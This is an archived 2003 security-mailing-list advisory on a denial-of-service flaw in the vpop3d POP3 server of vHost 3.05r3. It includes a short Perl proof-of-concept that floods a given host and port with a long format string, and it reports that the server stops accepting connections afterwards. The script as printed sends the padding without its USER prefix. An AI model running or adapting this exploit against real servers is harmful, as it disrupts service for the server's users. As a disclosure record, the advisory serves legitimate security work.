

# [UNIX] vHost Denial of Service Attack (USER)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-08/0073.html>

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**Date:** 08/24/03

To: [list@securiteam.com](mailto:list@securiteam.com)

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## SUMMARY

<<http://chaogic.com/vhost/>> vHost is "a one-step solution for all virtual hosting needs". A DoS on the vpop3d server can be caused by using a lengthy USER request.

## DETAILS

Vulnerable systems:

\* vHost version 3.05r3

Once send the vHost product with a large USER string it gives this message after 5mins or so "-ERR POP3 Server Abnormal Shutdown: Timeout waiting for command from client". After which no more connections will be possible to the vHost product.

Exploit:

```
#!/usr/bin/perl
```

```
#vpop3d Denial Of Service..
```

```
#Proof of Concept script..
```

```
#Deadbeat, uk2sec..
```

```
#e: deadbeat@sdf.lonestar.org
```

## Securiteam: [UNIX] vHost Denial of Service Attack (USER)

#e: daniels@legend.co.uk

```
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if(!$ARGV[1]){
    die "usage: perl $0 <host> <port>\n";
}
$dos = "%s%s"x5000;
$req = "USER $dos";
$sox = IO::Socket::INET->new(
    Proto=>"tcp",
    PeerPort=>$port,
    PeerAddr=>$host
)or die "can't connect to $host : $port\n";
sleep 2;
print $sox $dos;
sleep 1;
print "done..vpop3d should lock now :)\n";
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:deadbeat@sdf.lonestar.org>>  
Daniel.

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